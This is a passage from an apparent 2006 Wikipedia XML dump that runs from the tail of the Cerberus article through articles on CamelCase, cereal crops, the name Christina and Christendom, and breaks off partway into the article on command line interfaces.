**Kerberos is in the [[manga]] ''[[Devil &amp; Devil]]'' where it was the dog that Devil Sword had tamed.
**In the anime series and PlayStation 2 game ''[[Gungrave]]'', the Cerberus are a set of three guns, individually referred to as the left, right, and center head. The right and left head are used by [[Grave]] and the center head is used by [[Fangoram]].
*In other film and television:
**In the movie ''[[Final Fantasy VII: Advent Children]]'' and the upcoming video game, ''[[Dirge of Cerberus: Final Fantasy VII]]'', [[Vincent Valentine|Vincent's]] three barrelled gun is named Cerberus.
**In ''[[Harry Potter and the Philosopher's Stone]]'' there is a giant three-headed dog named Fluffy which guards the [[Philosopher's Stone]]. It can be lulled to sleep by playing it music.
**In ''[[The Grim Adventures of Billy and Mandy]]'' episode &quot;Mandy Bites Dog&quot;, Ceberus is Grim's out-of-control dog which Mandy manages to tame. Two of the heads are male [[hunting dog]]s and the third is a  [[poodle]].
**In an episode of ''[[The Simpsons]]'' the staff of ''&quot;[[Itchy &amp; Scratchy]]&quot;'' created a new dog character.  At one point the producers are describing the new character to the writers, one producer says, &quot;He's the original dog from hell&quot; to which a writer responds, &quot;You mean Cerberus?&quot;.
**In the 1992 Film [[Highway to Hell]] Cerberus guards the entrance to Hell City, and only allows people that are dead to pass through
*[[Cerebrus]] is mentioned in [[Sylvia Plath]]'s poem Fever 103°.

==See also==
*[[Garm]] (in [[Norse mythology]])

==External links==
*[http://www.theoi.com/Ther/KuonKerberos.html Cerberus in the Theoi Project]

[[category:Greek legendary creatures]]
[[Category:Mythological dogs]]
[[Category:Twelve labours of Herakles]]

[[bg:Цербер]]
[[cs:Kerberos]]
[[da:Kerberos]]
[[de:Kerberos (Mythologie)]]
[[el:Κέρβερος]]
[[es:Cerbero]]
[[fr:Cerbère (mythologie)]]
[[gl:Cérbero]]
[[it:Cerbero]]
[[he:קרברוס (מיתולוגיה)]]
[[lt:Cerberis]]
[[nl:Cerberus (mythologie)]]
[[ja:ケルベロス]]
[[no:Kerberos]]
[[nn:Kerberos]]
[[pl:Cerber]]
[[ru:Цербер]]
[[sl:Kerber]]
[[sk:Cerberus]]
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[[th:เซอร์เบอรัส]]
[[uk:Кербер]]
[[pt:Cérbero]]</text>
    </revision>
  </page>
  <page>
    <title>CamelCase</title>
    <id>6698</id>
    <revision>
      <id>39487149</id>
      <timestamp>2006-02-13T18:34:16Z</timestamp>
      <contributor>
        <username>Jorge Stolfi</username>
        <id>48742</id>
      </contributor>
      <minor />
      <comment>/* Early uses */ trimmed Bantu languages example a bit</comment>
      <text xml:space="preserve">'''CamelCase''', '''camel case''' or '''medial capitals''' is the practice of writing [[compound noun and adjective|compound word]]s or phrases where the words are joined without [[whitespace|space]]s, and each word is [[capitalization|capitalized]] within the compound.  The name comes from the  uppercase &quot;bumps&quot; in the middle of the compound word, suggesting the [[hump]]s of a [[camel]].

This practice is known by a large variety of names, including '''BiCapitalization''', '''InterCaps''', '''MixedCase''', etc., and many of its users do not ascribe a name to it at all.

CamelCase is a standard [[identifier naming convention]] for several [[programming language]]s, and has become fashionable in [[marketing]] for names of products and companies.  Outside these contexts, however, CamelCase is rarely used in [[Formal written English]], and most [[style guide]]s recommend against it.
[[Image:CamelCase sign.jpg|frame|A [[road sign]] with CamelCase]]

==Variations and synonyms==
There are two common varieties of CamelCase, distinguished by their handling of the initial letter of what would otherwise be the first of separate words. Where the first letter is capitalized is commonly called '''UpperCamelCase''', '''[[Pascal programming language|Pascal]]Case''', or '''BiCapitalized'''. Where the first letter is left in lowercase is commonly called '''lowerCamelCase'''.
This variant has also been occasionally called '''dromedaryCase''' or '''camelCase'''. For clarity, this article will use the terms '''UpperCamelCase''' and '''lowerCamelCase''', respectively.

    camelCaseLooksLikeThis
    lowerCamelCaseLooksTheSame
    UpperCamelCaseLooksLikeThis

The term ''[[StudlyCaps]]'' is similar &amp;mdash; but not necessarily identical &amp;mdash; to CamelCase. It is sometimes used in reference to CamelCase but can also refer to random mixed capitalization (as in ''&quot;MiXeD CaPitALiZaTioN&quot;'') as popularly used in [[leet|online culture]].

Other synonyms include:
*'''BumpyCaps'''
*'''BumpyCase'''
*'''camelBase Case'''
*'''CamelCaps'''
*'''CamelHumpedWord'''
*'''CapWords''' in [[Python programming language|Python]] [http://www.python.org/peps/pep-0008.html (reference)]
*'''mixedCase''' (for lowerCamelCase) in [[Python programming language|Python]] [http://www.python.org/peps/pep-0008.html (reference)]
*'''ClCl''' (Capital-lower Capital-lower) and sometimes '''ClC'''
*'''HumpBackNotation'''
*'''InterCaps'''
*'''InternalCapitalization'''
*'''NerdCaps'''
*'''WordMixing'''
*'''WordsStrungTogether'' or ''WordsRunTogether'''

The name ''CamelCase'' is not related to the &quot;Camel book&quot; (''[[Programming Perl]]''), which uses all-lowercase identifiers with underscores in its sample code.

==Coding standards==
Internal capitalization is recommended or enforced by many computer systems, and mandated  by the [[coding standard]]s of many programming languages &amp;mdash; such as [[Mesa programming language|Mesa]], the [[systems programming language]] of the [[Xerox Alto]] (late 1970s), or the modern language [[Java programming language|Java]].  It is also the official convention for file names in Java and of the [[Amiga]] personal computers.&lt;!--Are these upper or lower CamelCase?--&gt;

Coding standards often distinguish between UpperCamelCase and lowerCamelCase, typically specifying which variety should be used for specific kinds of entities: [[variable (computer science)|variable]]s, [[field (computer science)|record fields]], [[method (computer science)|method]]s, [[procedure (computer science)|procedures]], [[type (computer science)|types]], etc..

For instance, the Java coding style dictates that UpperCamelCase be used for [[class (computer science)|classes]], and lowerCamelCase be used for [[instance (computer science)|instances]] and [[member (computer science)|members]].  The original [[Hungarian notation]] for programming specifies that a lowercase abbreviation for the &quot;usage type&quot; (not data type) should be prefixed on all variable names, with the remainder of the name in UpperCamelCase; as such it is a form of lowerCamelCase.

[[NIEM]] standards require that XML Data Elements use UpperCamelCase and XML Attributes use lowerCamelCase.

Some [[wiki]]s, especially the earlier ones, use CamelCase to mark words that should be automatically linked. In many modern wikis (such [[Wikipedia]] and other [[MediaWiki]]-based wikis) this convention was abandoned in favor of explicit link markup, e.g. with &lt;nowiki&gt;[[…]]&lt;/nowiki&gt;.

==History==
===Early uses===
CamelCase has been sporadically used since ancient times, for example as a traditional spelling style for certain surnames, such as the [[Scotland|Scottish]] name ''McLean'' (&quot;son of Gilian&quot;) or the [[the Netherlands|Dutch]] ''deJong'' or ''DeJong'' (&quot;of/from Jong&quot;). In the early 20th century, it was used occasionally for [[trademark]]ing corporations and products, such as the [[CinemaScope]] [[film|movie]] projection system introduced in the [[1950s]].  CamelCase also occurred sometimes in [[acronym]]s like [[Department of Defense|DoD]], or technical codes and formulas like [[HeLa]] ([[1983]]) and [[sodium chloride|NaCl]].  

CamelCase has been used in languages other than [[English language|English]] for a variety or purposes, such as the transcription of [[Tibetan language|Tibetan]] names like ''rLobsang'', or names of [[Bantu languages]] like ''[[Swahili language|kiSwahili]]'' or ''[[Zulu language|isiZulu]]''.  In [[French language|French]], abbreviations such as [[Oulipo|OuLiPo]] ([[1960]]) were favored for a time as alternatives to acronyms.

However, the use of CamelCase became widespread only in the [[1970s]] or [[1980s]], when it was adopted as a standard or alternative [[identifier naming convention|naming convention]] for multi-word [[identifier]]s in several [[programming language]]s. There are various possible origins, and it may have developed independently from multiple sources. Two of these theories are exposed below.

===Background: multi-word identifiers===
In programs of any significant size, there is a need for descriptive (hence multi-word) [[identifier]]s, like &quot;&lt;tt&gt;previous balance&lt;/tt&gt;&quot; or &quot;&lt;tt&gt;end of file&lt;/tt&gt;&quot;.  Writing the words together as in &quot;&lt;tt&gt;endoffile&lt;/tt&gt;&quot; is not satisfactory because the names often become unreadable. Therefore, the pioneer programming language [[COBOL]] allowed a [[hyphen]] (&quot;&lt;tt&gt;-&lt;/tt&gt;&quot;) to be used between words of compound identifiers, as in &quot;&lt;tt&gt;END-OF-FILE&lt;/tt&gt;&quot;. The contemporary &quot;algebraic&quot; language [[Fortran]] reserved the hyphen as the minus operator, but allowed spaces to be arbitrarily embedded into identifiers, so that &quot;&lt;tt&gt;TOTAMP&lt;/tt&gt;&quot; could be written &quot;&lt;tt&gt;TOT AMP&lt;/tt&gt;&quot; (or &quot;&lt;tt&gt;TO TAMP&lt;/tt&gt;&quot;). (This feature was of little use, however, because most Fortran compilers did not allow identifiers longer than six letters.)

The common [[punched card]] character sets of the time had no lower-case letters and no special character that would be adequate as a word separator in identifiers.  However, by the late [[1960]]s the [[ASCII]] character set standard had been established, allowing the designers of the C language to adopt the [[underscore]] character &quot;&lt;tt&gt;_&lt;/tt&gt;&quot; as a word joiner.  Underscore-separated compounds like &quot;&lt;tt&gt;end_of_file&lt;/tt&gt;&quot; are still prevalent in C programs and libraries.

===The &quot;Lazy Programmer&quot; origin===
One explanation of the origins of CamelCase in [[computing]] claims that the style originated within the culture of [[C programming language|C programmers]] and [[hacker culture|hackers]], who found it more convenient than the standard underscore-based style.

On most keyboards, the underscore key is inconveniently placed. Additionally, in some fonts the underscore character can be confused with a minus sign; it can be overlooked because it falls below the string of characters, or it can be lost entirely when displayed or printed underlined, or when printed on a [[dot-matrix printer]] with a defective pin or misaligned ribbon.  Moreover, compiler limits on identifier length and the small [[computer display]]s available in the [[1970s]] worked together to encourage brevity.  So many programmers chose to use CamelCase instead, because it yielded legible compound names with fewer keystrokes and fewer characters.

===The &quot;Alto Keyboard&quot; origin===
Another explanation is that CamelCase started at [[Xerox PARC]] around 1978, with the [[Mesa programming language]] developed for the [[Xerox Alto]] computer.  This machine lacked an underscore key, and the hyphen and space characters were not permitted in identifiers, leaving CamelCase as the only viable scheme for readable multiword names.  The PARC Mesa Language Manual (1979) included a coding standard with specific rules for Upper- and lowerCamelCase which was strictly followed by the Mesa libraries and the Alto operating system.

The [[Smalltalk]] language, which was developed originally on the Alto and became quite popular in the early [[1980s]], may have been instrumental in spreading the style outside PARC.  CamelCase was also used in the [[PostScript]] graphics language, another very popular PARC invention.  Further boost was provided by [[Niklaus Wirth]] &amp;mdash; the inventor of [[Pascal programming language|Pascal]] &amp;mdash; who acquired a taste for CamelCase during a sabbatical at PARC, and used it in [[Modula]], his next programming language.

===Spread to mainstream usage===
During the same period in which personal computers exposed [[hacker culture]] to a more mainstream audience in the [[1980s]] and [[1990s]], CamelCase became [[fashion]]able for corporate [[trade name]]s, first in computer-related fields but later expanding further into the mainstream. During the [[dot-com boom]] of in the late [[1990s]], in particular, the lowercase prefixes &quot;e&quot; (for &quot;[[electronics|electronic]]&quot;) and &quot;i&quot; (for &quot;[[Internet]]&quot;, &quot;[[information]]&quot;, or perhaps &quot;[[intelligent]]&quot;) became quite common. Here are some examples ranging from the [[1960s]] to the [[2000s]], sorted by year:
*[[ShopKo Stores, Inc.|ShopKo]] ([[1962]])
*[[AstroTurf]] ([[1967]]) &lt;!-- Trademark serial number 72286166 --&gt;
*[[CompuServe]] ([[1969]])
*[[ConAgra Foods, Inc.|ConAgra]] ([[1971]]) (formerly Consolidated Mills)
*MicroSoft (now [[Microsoft]]) ([[1975]])
*[[VisiCalc]] ([[1979]])
*[[EchoStar Communications Corporation|EchoStar]] ([[1980]])
*[[WordPerfect]] ([[1982]])
*[[Novell NetWare|NetWare]] ([[1983]])
*[[BellSouth]] ([[1984]])
*[[MacWorks]] (1984)
*[[Adobe PageMaker|PageMaker]] ([[1985]])
*[[ClarisWorks]] ([[1987]])
*[[HarperCollins Publishers|HarperCollins]] ([[1990]])
*[[QuickTime]] ([[1991]])
*[[SuperAmerica]] ([[1991]])
*[[OutKast]] hip hop band (1992)
*[[ThinkPad]] ([[1992]])
*[[EarthLink]] ([[1994]])
*[[PlayStation]] (1994)
*[[easyJet]] ([[1995]])
*[[eBay]] (spelled &quot;ebaY&quot; in their [[logo]]) (1995) 
*WorldCom (now [[MCI]]) ([[1995]])
*[[RadioShack]] (formerly Radio Shack) ([[1996]])
*[[TiVo]] ([[1997]])
*[[AppleWorks]] ([[1997]])
*[[Borland|VisiBroker]] (1997)
*[[DaimlerChrysler]] ([[1998]])
*[[iMac]] (1998)
*[[PricewaterhouseCoopers]] (1998) [http://www.pwcglobal.com/images/topnav/pwc.gif logo]
*[[StarCraft]] (1998)
*[[UnitedHealth Group|UnitedHealth]] (formerly United HealthCare) (1998)
*[[BlackBerry]] ([[1999]])
*[[CloneCD]] (1999)
*[[ExxonMobil]] (1999)
*[[SpongeBob SquarePants]] (1999)
*[[FedEx Corporation|FedEx]] (formerly Federal Express) ([[2000]])
*[[GlaxoSmithKline]] (2000)
*[[Apple iPod | iPod]] (2000)
*[[OpenOffice.org]] (2000)
*[[AmerisourceBergen Corporation|AmerisourceBergen]] ([[2001]])
*ChevronTexaco (now [[Chevron Corporation|Chevron]]) (2001)
*[[Nintendo GameCube|GameCube]] (2001)
*[[RuneScape]] (2001)
*[[ConocoPhillips]] ([[2002]])
*[[OpenCola]]
*[[JPMorgan Chase &amp; Co.]]
* Weekly supplements of ''[[The Guardian]]'', such as ''SocietyGuardian'' (2005)
*NetOp (???)
*[[MediaWiki]] (2001?)

This fashion has become so pervasive that it is often incorrectly applied to names that do not use it officially, as in ''[[Transamerica|TransAmerica]]'' (Transamerica), ''[[Mozilla Firefox|FireFox]]'' (Firefox), ''[[Usenet|UseNet]] (Usenet)'', ''[[Time Warner|TimeWarner]]'' (Time Warner, whose new logo does appear in CamelCase fashion), ''[[Game Boy|GameBoy]]'' (Game Boy), ''[[Microsoft|MicroSoft]]'' (Microsoft) and ''[[KarmelKorn]]'' (Karmelkorn).

===History of the name===
The original name of the practice, used in [[media studies]], [[grammar]]s, and the ''[[Oxford English Dictionary]]'', was &quot;medial capitals&quot;. The fancier names such as &quot;InterCaps&quot;, &quot;CamelCase&quot;, and variations thereof are relatively recent, and seem more common in computer-related communities. 

The earliest known occurrence of ''InterCaps'' on Usenet is in an April 1990 post to the group &lt;tt&gt;alt.folklore.computers&lt;/tt&gt; by [[Avi Rappoport]] [http://groups-beta.google.com/group/alt.folklore.computers/msg/21f332e5b813313e], with ''BiCapitalization'' appearing slightly later in a 1991 post  by [[Eric S. Raymond]] to the same group [http://groups.google.com/groups?selm=1ZJ7Y0%233w7TXB3X6xdT7Fp8Dg1SnxYw%3Deric%40snark.thyrsus.com&amp;output=gplain]. The earliest use of the name &quot;CamelCase&quot; occurs in 1995, in a post by [[Newton Love]].  [http://groups.google.com/groups?selm=newton.212.30563F09%40michelob.wustl.edu&amp;output=gplain].  &quot;With the advent of programming languages having these sorts of constructs, the humpiness of the style made me call it HumpyCase at first, before I settled on CamelCase. I had been calling it CamelCase for years,&quot; said Newton, [http://sluug.org/~newt/] &quot;The citation above was just the first time I had used the name on USENET.&quot;

==See also==
*[[All caps]]
*[[CamelCase and Wiki]]
*[[StudlyCaps]]
&lt;!-- [[Wikipedia:CamelCase and Wikipedia]] --&gt;

==References==
*[http://www.netbros.com/CamelCase ''NetVillage: What is CamelCase?'']

==External links==
*[http://c2.com/cgi/wiki?CamelCase Examples and history of CamelCase]
*[http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpgenref/html/cpconcapitalizationstyles.asp .NET Framework General Reference Capitalization Styles]
*[http://www.theslot.com/webnames.html What's in a nAME(cq)?], by Bill Walsh, at The Slot
*[http://www.microsoft.com/typography/ctfonts/WordRecognition.aspx The Science of Word Recognition], by Kevin Larson, Advanced Reading Technology, Microsoft Corporation

[[Category:Typography]]
[[Category:Typesetting]]
[[Category:Naming conventions]]

[[ca:CamelCase]]
[[da:WikiOrd]]
[[de:Binnenmajuskel]]
[[es:CamelCase]]
[[fr:CamelCase]]
[[it:CamelCase]]
[[nl:CamelCase]]
[[ja:キャメルケース]]
[[pl:CamelCase]]
[[pt:CamelCase]]
[[sv:CamelCase]]</text>
    </revision>
  </page>
  <page>
    <title>Complete works of Plato</title>
    <id>6699</id>
    <revision>
      <id>15904820</id>
      <timestamp>2002-06-13T03:56:24Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>redirect to [[Plato]]</comment>
      <text xml:space="preserve">#REDIRECT [[Plato]]</text>
    </revision>
  </page>
  <page>
    <title>Cereal</title>
    <id>6700</id>
    <revision>
      <id>40046472</id>
      <timestamp>2006-02-17T19:14:42Z</timestamp>
      <contributor>
        <username>Keenan Pepper</username>
        <id>124371</id>
      </contributor>
      <minor />
      <comment>dablink</comment>
      <text xml:space="preserve">{{dablink|This article is about grains in general. See also [[breakfast cereal]].}}

'''Cereal''' [[agriculture|crops]] are mostly [[Poaceae|grasses]] cultivated for their edible [[seed]]s (actually a [[fruit]] called a [[caryopsis]]). Cereal grains are grown in greater quantities worldwide than any other type of crop and provides more [[food energy]] to the [[human]] race than any other crop.  In some [[developing nation]]s, cereal grains constitute practically the entire diet of common folk. In [[developed nation]]s, cereal consumption is more moderate but still substantial.  The word '''cereal''' has its origin in the Roman goddess of [[grain]], ''[[Ceres (goddess)|Ceres]]''.  [[Staple food]] grains are traditionally called ''corn'' in [[Britain]], though that word became specified for ''[[maize]]'' in the United States, Canada and Australia.

[[Image:Various grains.jpg|thumb|300px|Oats, barley, and some products made from them.]]

== Cereal crops ==

=== True cereals ===

The cereal crops are (in approximate order of greatest annual production):
*[[wheat]], the primary cereal of [[temperate climate|temperate]] regions
*[[rice]], the primary cereal of [[tropics|tropical]] regions
*[[maize]], a staple food of peoples in [[North America]], [[South America]], and [[Africa]] and of [[livestock]] worldwide; called &quot;corn&quot; or &quot;Indian corn&quot; in North America and Australia
*[[millet]]s, a group of similar but distinct cereals that form an important staple food in Asia and Africa.
*[[sorghum]]s, important staple food in Asia and Africa and popular worldwide for livestock
*[[rye]] and [[triticale]], important in cold climates
*[[oat]]s, formerly the staple food of [[Scotland]] and popular worldwide for livestock
*[[barley]], grown for [[malt]]ing and livestock on land too poor or too cold for wheat
*[[teff]], popular in [[Ethiopia]] but scarcely known elsewhere
*[[wild rice]], grown in small amounts in North America
*[[spelt]], a close relative of wheat

[[Category:lists of foods|Cereal]]

=== Pseudocereals ===

In addition, several non-grasses that are grown for their seed may also be referred to as cereals. These '''pseudocereals''' include (in no particular order):
*[[buckwheat]]
*[[amaranth]]
*[[quinoa]]
*[[kañiwa]]

*[[cockscomb]]

== Cultivation ==
[[image:040719_172_dorset_marnhull.jpg|thumb|220px|A wheat field in [[Dorset]], [[England]].]]
While each individual species has its own peculiarities, the cultivation of all cereals crops is similar. All are [[annual plant]]s; consequently one planting yields one harvest. Wheat, rye, triticale, oats, barley, and spelt are the '''cool-season''' cereals. 
These are hardy plants that grow well in moderate weather and cease to grow in hot weather (approximately 30&amp;nbsp;[[Celsius|°C]] but this varies by species and variety). 
The other '''warm-season''' cereals are tender and prefer hot weather.

Barley and rye are the hardiest cereals, able to overwinter in the [[subarctic]] and [[Siberia]]. Wheat is the most popular. All cool-season cereals are grown in the tropics, but only in the cool highlands, where it may be possible to grow multiple crops in a year.

=== Planting ===

The warm-season cereals are grown in tropical lowlands year-round and in temperate climates during the frost-free season.

Cool-season cereals are well-adapted to temperate climates. Most varieties of a particular species are either '''winter''' or '''spring''' types. Winter varieties are sown in the autumn, germinate and grow vegetatively, then become [[dormancy|dormant]] during winter. They resume growing in the springtime and mature in late spring or early summer. This cultivation system makes optimal use of water and frees the land for another crop early in the growing season. Winter varieties do not flower until springtime because they require '''vernalization''' (exposure to low temperature for a genetically determined length of time).
Where winters are too warm for vernalization or exceed the hardiness of the crop (which varies by species and variety), farmers grow spring varieties. 
Spring cereals are planted in early springtime and mature later that same summer, without vernalization. Spring cereals typically require more irrigation and yield less than winter cereals.

=== Harvest ===

Once the cereal plants have grown their seeds, they have completed their life cycle. The plants die and become brown and dry. As soon as the parent plants and their seed kernels are reasonably dry, harvest can begin.

In developed countries, cereal crops are universally machine-harvested, typically using a [[combine harvester]], which cuts, threshes, and winnows the grain during a single pass across the field. In developing countries, a variety of harvesting methods are in use, from combines to hand tools such as scythes.

If a crop is harvested during wet weather, the grain may not dry adequately in the field to prevent spoilage during its storage. In this case, the grain is sent to a dehydrating facility, where artificial heat dries it.

In North America, farmers commonly deliver their newly harvested grain to a [[grain elevator]], a large storage facility that consolidates the crops of many farmers. The farmer may sell the grain at the time of delivery or maintain ownership of a share of grain in the pool for later sale.

== Food value ==

Cereal grains supply most of their [[food energy]] as [[starch]]. They are also a significant source of [[protein]], though the [[amino acid]] balance is not optimal. Whole grains (see below) are good sources of [[dietary fiber]], [[essential fatty acid]]s, and other important [[nutrient]]s.

Rice is eaten as cooked entire grains, although rice flour is also produced.  Oats are rolled, ground, or cut into bits (steel-cut oats) and cooked into [[porridge]]. Most other cereals are ground into [[flour]] or meal, that is '''milled'''. The outer layers of bran and germ are removed (see [[Grain|grain (fruit)]] and [[seed]]). This lessens the [[nutrition]]al value but makes the grain more resistant to degredation and makes the grain more appealing to many palates. [[Health]]-conscious people tend to prefer '''whole grains''', which are not milled. Overconsumption of milled cereals is sometimes blamed for [[obesity]]. Milled grains do keep better because the outer layers of the grains are rich in rancidity-prone [[fat]]s. 
The waste from milling is sometimes mixed into a prepared animal [[feed]].

Once (optionally) milled and ground, the resulting flour is made into [[bread]], [[pasta]], [[dessert]]s, [[dumpling]]s, and many other products.  
Besides cereals, flour is sometimes made from [[potato]]es, [[chestnut]]s and [[pulses]] (especially [[chickpea]]s).

In [[American English]], cold [[breakfast cereal]]s and porridges are simply called '''cereal'''.
Cereals are the main source of energy providing about 350 kcal per 100 grams
Cereal proteins are poor in nutritive quality, being deficient in essential amino acid lysine. The proteins of maize are still poor, being deficient in lysine and tryptophan (a precursor of niacin)
Rice proteins are richer in lysine than other cereal proteins and for this reason, rice protein is considered to be of better quality. Rice is a good source of B group vitamins, especially Thiamine. It is devoid of Vitamines A, D, C and is a poor source of Calcium and Iron.

==See also==
* [[Zadoks scale]]
* [[List of edible seeds]]

[[Category:Cereals| ]]
[[Category:Grains]]

[[ca:Cereal]]
[[de:Getreide]]
[[eo:Cerealo]]
[[es:Cereal]]
[[fa:غلات]]
[[fr:Céréale]]
[[he:דגנים]]
[[ja:穀物]]
[[la:Frumentum]]
[[ms:Bijirin]]
[[nl:Graan]]
[[pl:kasza]]
[[pt:cereal]]
[[sk:Obilie]]
[[ru:Крупа (еда)]]
[[sr:Житарице]]
[[sv:Spannmål]]
[[es:cereal]]
[[zh:粮食]]</text>
    </revision>
  </page>
  <page>
    <title>Christina</title>
    <id>6702</id>
    <revision>
      <id>41898223</id>
      <timestamp>2006-03-02T13:32:01Z</timestamp>
      <contributor>
        <ip>195.194.9.254</ip>
      </contributor>
      <text xml:space="preserve">'''Christina''' is a female name originating from [[Christian]].

The historically best known person with this name was Queen [[Christina of Sweden]] ([[17th century]]).

The most famous &quot;Christina&quot; is Christina Aguilera the famous pop singer.</text>
    </revision>
  </page>
  <page>
    <title>Christendom</title>
    <id>6704</id>
    <revision>
      <id>41994849</id>
      <timestamp>2006-03-03T02:39:58Z</timestamp>
      <contributor>
        <ip>24.131.16.167</ip>
      </contributor>
      <comment>/* Christendom as a polity */</comment>
      <text xml:space="preserve">[[Image:T and O map Guntherus Ziner 1472.jpg|thumb|This [[T-and-O map]], which abstracts the known world to a cross inscribed within an orb, remakes geography in the service of Christian iconography.  More detailed versions place [[Jerusalem]] at the centre of the world.]]
'''Christendom''', in the widest sense, refers to [[Christianity]] as a territorial phenomenon: those countries where most people are Christians, or nominal Christians, are part of Christendom.  
==Christendom as a polity==
In a more significant, and meaningful sense, it refers to the medieval and renaissance notion of the Christian world as a sort of social and political [[polity]].  In essence, the vision of Christendom is a vision of a Christian [[theocracy]], a [[government]] devoted to the enforcement of Christian values, and whose institutions are suffused with Christian piety.  In this vision, members of the Christian [[clergy]] wield plenty of political clout.  Secular rulers are their subordinates and agents; and national or political divisions are subsumed under the unitary government of a unique and universal [[church]] institution.  This [[temptation|tempting]] vision of an earthly [[The Crown|crown]] was one of the greatest challenges to the institutional Christian church.  

The seeds of Christendom were laid in &lt;small&gt;A.D.&lt;/small&gt; [[306]], when Emperor [[Constantine I of the Roman Empire|Constantine]] became co-ruler of the [[Roman Empire]]. In [[312]] he converted to Christianity, and after the [[First Council of Nicaea]] in [[325]] government [[persecution of Christians]] ended.  [[Christianity]] became the [[state religion]] of the Empire in [[392]] when [[Emperor Theodosius|Theodosius I]] passed legislation prohibiting the practice of [[Religion in ancient Rome|pagan religions]].

Christendom was given a firmer meaning with the creation of [[Charlemagne]]'s kingdom, the Christian Empire of the West. On [[Christmas]] Day, &lt;small&gt;A.D.&lt;/small&gt; [[800]], Charlemagne was crowned by the Pope as ruler of the [[Holy Roman Empire]], a title which would exist up until [[Napoleon]]'s defeat of [[Francis II, Holy Roman Emperor|Francis II]] in [[1806]]. 

After the collapse of Charlemagne's empire, Christendom became a collection of states loosely connected to the [[Holy See]]. Tensions between the [[popes]] and secular rulers ran high, as the pontiffs attempted to retain control over their temporal counterparts. The idea of Christendom was already greatly discredited by the time of the Renaissance Popes because of the moral laxity of the pontiffs and their willingness to make war, peace, and alliances like secular rulers. 

Christendom as a cohesive political unit effectively ended with the [[Reformation]].
The term can also refer to Christians considered as a group (the &quot;Christian World&quot;) or to the informal cultural hegemony that Christianity has traditionally enjoyed in the [[Western world|West]]. 

There is another sense to the polity, with less of a secular meaning, which would have been compatible with the idea of both a religious and a temporal body: ''Corpus Christianum''.

==Corpus Christianum==
The Latin term '''Corpus Christianum''' is often translated as ''the Christian body'', meaning the community of all Christians.  

It described the pre-modern notion of the [[community]] of all [[Christian]]s united under the [[Roman Catholic Church]]. This community was to be guided by Christian values in its politics, economics and social life. Its legal basis was the [[Canon Law|corpus iuris canonica]] (body of canon law). The Church's peak of authority over all European Christians in the [[Middle Ages]] and common endeavours of the Christian community -- for example, the [[Crusades]], the fight against [[Moors]] in [[Spain]] and that against the [[Ottomans]] in the [[Balkans]] -- helped to develop this sense of communal identity against the obstacle of Europe's deep political divisions. The Corpus Christianum can be seen as a Christian equivalent of the Muslim [[Ummah]]. The concept also justified the [[Inquisition]] and anti-Jewish [[pogroms]], to root out divergent elements and create a religiously uniform community.

This concept has been in crisis since the late [[Middle Ages]], when the [[monarch|kings]] of [[France]] managed to establish a French national church during the [[14th century]] and the papacy became ever more aligned with the [[Holy Roman Empire of the German Nation]]. [http://www.fritzwagner.com/ev/disintegration_of_christianitas.html Other developments] in philosophy and events in England and Europe were also critical: the [[War of the Roses]], the [[Hundred Years War]], the end of [[feudalism]] and the rise of strong, centralized monarchies presaging the modern nation state. The Empire, due to its massive size, did represent a large portion of European Christians. Thus the Corpus Christianum was limited to the Christian community of the Empire, rather than all Christians worldwide.

The rise of [[Modernity]] and the [[Reformation]] during the early [[16th century]] entailed the further deconstruction of the Corpus Christianum. The acceptance of different interpretations of the [[Bible]] by the [[Peace of Augsburg]] in [[1555]] officially ended the idea that all Christians could be united under one church. The principle of ''[[cuius regio, eius religio]]'' (&quot;whose the region is, his religion&quot;) established the religious, political and geographic divisions of Christianity. The Corpus Christianum was replaced by something foreshadowing the modern idea of a tolerant and diverse society consisting of many different communities.

However, under the motto of the [[clash of civilizations]], the idea might currently experience a revival, in order to help define the [[Western Culture|West]] in contrast to other cultures.

== See also ==
* [[Oikoumene]]
* [[Caesaropapism]]
* [[Constantinian shift]]
* [[Dar al-Islam]] and [[Ummah]]

[[Category:Christianity]]
[[Category:Christian group structuring]]
[[Category:Roman Catholic Church history]]

[[fr:Chrétienté]]
[[ia:Christianitate]]</text>
    </revision>
  </page>
  <page>
    <title>Command line interface</title>
    <id>6707</id>
    <revision>
      <id>41733725</id>
      <timestamp>2006-03-01T10:33:39Z</timestamp>
      <contributor>
        <username>Ixfd64</username>
        <id>6284</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/212.219.39.100|212.219.39.100]] ([[User talk:212.219.39.100|talk]]) to last version by Yath</comment>
      <text xml:space="preserve">[[Image:bash_screenshot.png|thumb|300px|Screenshot of a sample [[Bash]] session, taken on [[Gentoo Linux]].]]

A '''command line interface''' or '''CLI''' is a method of [[human-computer interaction|interacting with a computer]]. Commands are entered as lines of text (that is, sequences of typed characters) from a [[computer keyboard|keyboard]], and output is also received as text. CLIs originated when [[teleprinter|teletype]] machines were connected to computers in the [[1950s]]. In terms of immediate interaction and feedback, they represented an advance over the use of [[punch card]]s.

With the use of [[cathode ray tube|CRT]]s as interface devices, CLIs began evolving toward [[graphical user interface]]s (GUIs) like [[Microsoft Windows]], the [[X Window System]] and [[Mac OS]], and were largely supplanted by GUIs when Microsoft introduced Windows. A significant minority of computer users prefer to use CLIs, some due to visual disability, and others because they feel that CLIs provide an environment with enhanced productivity. They are most often used in scientific, engineering, and technical environments, by programmers, especially in [[Unix]]-based operating systems.

In its simplest form, a CLI displays a [[command prompt|prompt]], the user types a command on the keyboard and terminates the command (usually with the Enter key), and the computer executes the command, providing textual output.

A program that implements such interface is often called a [[command line interpreter]] or '''[[shell (computing) | shell]]'''.  Examples include the various [[Unix shell]]s (sh, ksh, csh, tcsh, bash, etc.), the historical [[CP/M]], and [[DOS]]'s [[command.com]] (&quot;Command Prompt&quot;), the latter two based heavily on [[Digital Equipment Corporation|DEC]]'s [[RSX]] and [[RSTS]] CLIs. [[Microsoft]]'s next operating system, [[Windows Vista]], will include support for a new command line interface named [[MSH (shell)|MSH]] (Microsoft Shell, codename ''Monad''), which hopes to combine features of traditional Unix shells with the their object oriented [[.NET Framework|.NET framework]]. Windows current CLI programs like [[DOS]] and [[Windows Script Host]] are commonly considered inadequate or insecure. [[MinGW]] is a third-party software for Windows that offers a true Unix CLI.

